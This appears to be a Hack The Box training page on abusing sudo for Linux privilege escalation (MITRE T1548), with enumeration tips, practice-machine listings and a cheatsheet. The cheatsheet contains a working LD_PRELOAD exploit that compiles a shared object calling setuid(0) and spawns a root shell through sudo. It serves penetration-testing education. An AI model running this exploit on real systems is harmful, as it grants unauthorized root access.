Sudo and Sudo Caching
Sub-technique of T1548 Abuse Elevation Control Mechanism
Abusing what sudo lets you run as root: binaries with escapes, writable scripts or preserved variables.
How it shows up on Hack The Box
sudo -l is the first thing to run once you have a shell. Look for GTFOBins binaries, scripts that import modules or call commands without a full path, and env_keep (LD_PRELOAD).
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Showing 48 of 61. Open each catalog technique above to see them all.
Guides
- Linux privilege escalation: sudo, SUID and capabilities 4 min read The three checks that give the most roots on Hack The Box: what sudo lets you run, which binaries are SUID and which capabilities they carry, with the usual abuse for each case.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Linux privilege escalation › Checks
What can I run with sudo
sudo -l
sudo version (CVE-2021-3156, Baron Samedit)
sudo -V | head -1Linux privilege escalation › Exploitation
LD_PRELOAD with sudo (env_keep+=LD_PRELOAD)
cat > /tmp/x.c << 'FIN'
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
FIN
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so programa_permitidoNo command matches.